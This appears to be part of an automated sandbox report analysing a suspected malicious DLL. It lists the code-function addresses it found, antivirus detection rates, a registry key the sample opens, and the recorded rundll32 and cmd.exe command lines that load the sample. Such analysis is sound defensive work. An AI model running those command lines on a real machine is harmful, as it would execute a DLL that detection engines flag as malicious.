Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6EBED380	1_2_6EBED380
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6EBE38C0	1_2_6EBE38C0
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6EBF01D0	1_2_6EBF01D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F406EF	4_2_02F406EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F2AEB9	4_2_02F2AEB9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F356A9	4_2_02F356A9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F3604E	4_2_02F3604E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F3BA18	4_2_02F3BA18
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F391F7	4_2_02F391F7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F3E7DA	4_2_02F3E7DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F389DA	4_2_02F389DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F3ED95	4_2_02F3ED95
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F22B7C	4_2_02F22B7C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F2196D	4_2_02F2196D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F28D59	4_2_02F28D59
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F33130	4_2_02F33130
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F28112	4_2_02F28112
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F25314	4_2_02F25314
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F2BEF5	4_2_02F2BEF5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F420F8	4_2_02F420F8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F2E6FD	4_2_02F2E6FD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F2A8E8	4_2_02F2A8E8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F40AD3	4_2_02F40AD3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F37EDD	4_2_02F37EDD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F254C0	4_2_02F254C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F3B0BA	4_2_02F3B0BA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F33ABE	4_2_02F33ABE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F304A4	4_2_02F304A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F2F4A5	4_2_02F2F4A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F268AD	4_2_02F268AD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F2C69B	4_2_02F2C69B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F2F699	4_2_02F2F699
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F2D899	4_2_02F2D899
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F23085	4_2_02F23085
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F41C71	4_2_02F41C71
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F3E478	4_2_02F3E478
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F40C66	4_2_02F40C66
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F3645F	4_2_02F3645F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F30A37	4_2_02F30A37
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F23E3B	4_2_02F23E3B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F3CC3F	4_2_02F3CC3F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F30824	4_2_02F30824
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F31C12	4_2_02F31C12
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F42C16	4_2_02F42C16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F2F20D	4_2_02F2F20D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F21DF9	4_2_02F21DF9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F26BFE	4_2_02F26BFE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F3D5FE	4_2_02F3D5FE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F435E3	4_2_02F435E3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F2FBEF	4_2_02F2FBEF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F2B7EC	4_2_02F2B7EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F313DB	4_2_02F313DB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F25DC3	4_2_02F25DC3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F239C3	4_2_02F239C3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F34DC5	4_2_02F34DC5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F30FC5	4_2_02F30FC5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F22DC5	4_2_02F22DC5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F3BFA1	4_2_02F3BFA1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F377A7	4_2_02F377A7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F233A9	4_2_02F233A9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F36B91	4_2_02F36B91
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F41987	4_2_02F41987
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F27D87	4_2_02F27D87
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F2F984	4_2_02F2F984
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F2938F	4_2_02F2938F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F3C772	4_2_02F3C772
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F22176	4_2_02F22176
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F22575	4_2_02F22575
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F35B7C	4_2_02F35B7C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F2597D	4_2_02F2597D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F3F561	4_2_02F3F561
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F25166	4_2_02F25166
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F2DD66	4_2_02F2DD66
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F42560	4_2_02F42560
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F29565	4_2_02F29565
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F2996C	4_2_02F2996C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F2635F	4_2_02F2635F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F24F42	4_2_02F24F42
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F3C145	4_2_02F3C145
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F42D4F	4_2_02F42D4F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F4314A	4_2_02F4314A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F2E336	4_2_02F2E336
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F3473A	4_2_02F3473A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F27739	4_2_02F27739
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F26125	4_2_02F26125
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F2B12E	4_2_02F2B12E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F3CF2C	4_2_02F3CF2C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F24716	4_2_02F24716
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F38518	4_2_02F38518
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F43306	4_2_02F43306
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F3D10B	4_2_02F3D10B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F3710D	4_2_02F3710D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EBE5EA0	4_2_6EBE5EA0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EBEE6E0	4_2_6EBEE6E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EBE66E0	4_2_6EBE66E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EBEA6D0	4_2_6EBEA6D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EBF0F10	4_2_6EBF0F10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EBE1C10	4_2_6EBE1C10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EBE75F4	4_2_6EBE75F4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EBE9D50	4_2_6EBE9D50
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EC00A61	4_2_6EC00A61
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EBED380	4_2_6EBED380
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EBE38C0	4_2_6EBE38C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EBF01D0	4_2_6EBF01D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C506EF	8_2_02C506EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C4ED95	8_2_02C4ED95
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C354C0	8_2_02C354C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C50AD3	8_2_02C50AD3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C47EDD	8_2_02C47EDD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C3A8E8	8_2_02C3A8E8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C3BEF5	8_2_02C3BEF5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C520F8	8_2_02C520F8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C3E6FD	8_2_02C3E6FD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C33085	8_2_02C33085
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C3C69B	8_2_02C3C69B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C3F699	8_2_02C3F699
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C3D899	8_2_02C3D899
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C404A4	8_2_02C404A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C3F4A5	8_2_02C3F4A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C456A9	8_2_02C456A9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C368AD	8_2_02C368AD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C43ABE	8_2_02C43ABE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C3AEB9	8_2_02C3AEB9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C4B0BA	8_2_02C4B0BA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C4604E	8_2_02C4604E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C4645F	8_2_02C4645F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C50C66	8_2_02C50C66
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C51C71	8_2_02C51C71
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C4E478	8_2_02C4E478
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C3F20D	8_2_02C3F20D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C52C16	8_2_02C52C16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C41C12	8_2_02C41C12
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C4BA18	8_2_02C4BA18
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C40824	8_2_02C40824
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C40A37	8_2_02C40A37
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C33E3B	8_2_02C33E3B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C4CC3F	8_2_02C4CC3F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C35DC3	8_2_02C35DC3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C339C3	8_2_02C339C3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C44DC5	8_2_02C44DC5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C40FC5	8_2_02C40FC5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C32DC5	8_2_02C32DC5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C4E7DA	8_2_02C4E7DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C489DA	8_2_02C489DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C413DB	8_2_02C413DB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C535E3	8_2_02C535E3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C3FBEF	8_2_02C3FBEF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C3B7EC	8_2_02C3B7EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C491F7	8_2_02C491F7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C31DF9	8_2_02C31DF9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C4D5FE	8_2_02C4D5FE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C36BFE	8_2_02C36BFE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C51987	8_2_02C51987
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C37D87	8_2_02C37D87
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C3F984	8_2_02C3F984
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C3938F	8_2_02C3938F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C477A7	8_2_02C477A7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C4BFA1	8_2_02C4BFA1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C333A9	8_2_02C333A9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C34F42	8_2_02C34F42
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C4C145	8_2_02C4C145
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C52D4F	8_2_02C52D4F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C5314A	8_2_02C5314A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C38D59	8_2_02C38D59
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C3635F	8_2_02C3635F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C4F561	8_2_02C4F561
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C35166	8_2_02C35166
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C3DD66	8_2_02C3DD66
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C52560	8_2_02C52560
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C39565	8_2_02C39565
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C3196D	8_2_02C3196D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C3996C	8_2_02C3996C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C32176	8_2_02C32176
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C4C772	8_2_02C4C772
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C32575	8_2_02C32575
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C45B7C	8_2_02C45B7C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C3597D	8_2_02C3597D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C32B7C	8_2_02C32B7C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C53306	8_2_02C53306
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C4710D	8_2_02C4710D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C4D10B	8_2_02C4D10B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C38112	8_2_02C38112
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C34716	8_2_02C34716
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C35314	8_2_02C35314
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C48518	8_2_02C48518
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C36125	8_2_02C36125
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C4CF2C	8_2_02C4CF2C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C3B12E	8_2_02C3B12E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C43130	8_2_02C43130
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C3E336	8_2_02C3E336
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C37739	8_2_02C37739
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C4473A	8_2_02C4473A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006C06EF	9_2_006C06EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006BED95	9_2_006BED95
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006C0C66	9_2_006C0C66
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006BE478	9_2_006BE478
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006C1C71	9_2_006C1C71
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006B604E	9_2_006B604E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006B645F	9_2_006B645F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006B0824	9_2_006B0824
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006A3E3B	9_2_006A3E3B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006BCC3F	9_2_006BCC3F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006B0A37	9_2_006B0A37
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006AF20D	9_2_006AF20D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006BBA18	9_2_006BBA18
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006B1C12	9_2_006B1C12
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006C2C16	9_2_006C2C16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006AA8E8	9_2_006AA8E8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006C20F8	9_2_006C20F8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006AE6FD	9_2_006AE6FD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006ABEF5	9_2_006ABEF5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006A54C0	9_2_006A54C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006B7EDD	9_2_006B7EDD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006C0AD3	9_2_006C0AD3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006B56A9	9_2_006B56A9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006A68AD	9_2_006A68AD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006B04A4	9_2_006B04A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006AF4A5	9_2_006AF4A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006BB0BA	9_2_006BB0BA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006AAEB9	9_2_006AAEB9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006B3ABE	9_2_006B3ABE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006A3085	9_2_006A3085
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006AC69B	9_2_006AC69B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006AF699	9_2_006AF699
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006AD899	9_2_006AD899
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006A996C	9_2_006A996C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006A196D	9_2_006A196D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006BF561	9_2_006BF561
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006A5166	9_2_006A5166
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006ADD66	9_2_006ADD66
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006C2560	9_2_006C2560
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006A9565	9_2_006A9565
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006A2B7C	9_2_006A2B7C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006B5B7C	9_2_006B5B7C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006A597D	9_2_006A597D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006BC772	9_2_006BC772
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006A2176	9_2_006A2176
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006A2575	9_2_006A2575
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006C2D4F	9_2_006C2D4F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006C314A	9_2_006C314A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006A4F42	9_2_006A4F42
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006BC145	9_2_006BC145
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006A8D59	9_2_006A8D59
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006A635F	9_2_006A635F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006AB12E	9_2_006AB12E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006BCF2C	9_2_006BCF2C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006A6125	9_2_006A6125
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006B473A	9_2_006B473A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006A7739	9_2_006A7739
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006B3130	9_2_006B3130
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006AE336	9_2_006AE336
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006BD10B	9_2_006BD10B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006B710D	9_2_006B710D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006C3306	9_2_006C3306
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006B8518	9_2_006B8518
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006A8112	9_2_006A8112
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006A4716	9_2_006A4716
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006A5314	9_2_006A5314
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006AFBEF	9_2_006AFBEF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006AB7EC	9_2_006AB7EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006C35E3	9_2_006C35E3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006A1DF9	9_2_006A1DF9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006A6BFE	9_2_006A6BFE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006BD5FE	9_2_006BD5FE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006B91F7	9_2_006B91F7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006A5DC3	9_2_006A5DC3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006A39C3	9_2_006A39C3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006B4DC5	9_2_006B4DC5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006B0FC5	9_2_006B0FC5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006A2DC5	9_2_006A2DC5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006B13DB	9_2_006B13DB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006BE7DA	9_2_006BE7DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006B89DA	9_2_006B89DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006A33A9	9_2_006A33A9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006BBFA1	9_2_006BBFA1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006B77A7	9_2_006B77A7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006A938F	9_2_006A938F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006C1987	9_2_006C1987
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006A7D87	9_2_006A7D87
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006AF984	9_2_006AF984

Source: C:\Windows\System32\loaddll32.exe	Code function: String function: 6EBE1C10 appears 97 times
Source: C:\Windows\System32\loaddll32.exe	Code function: String function: 6EBFD350 appears 33 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6EBE1C10 appears 97 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6EBFD350 appears 33 times

Source: 2gyA5uNl6VPQUA.dll	Virustotal: Detection: 17%
Source: 2gyA5uNl6VPQUA.dll	ReversingLabs: Detection: 25%

Source: 2gyA5uNl6VPQUA.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\svchost.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DeliveryOptimization

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll,Control_RunDLL
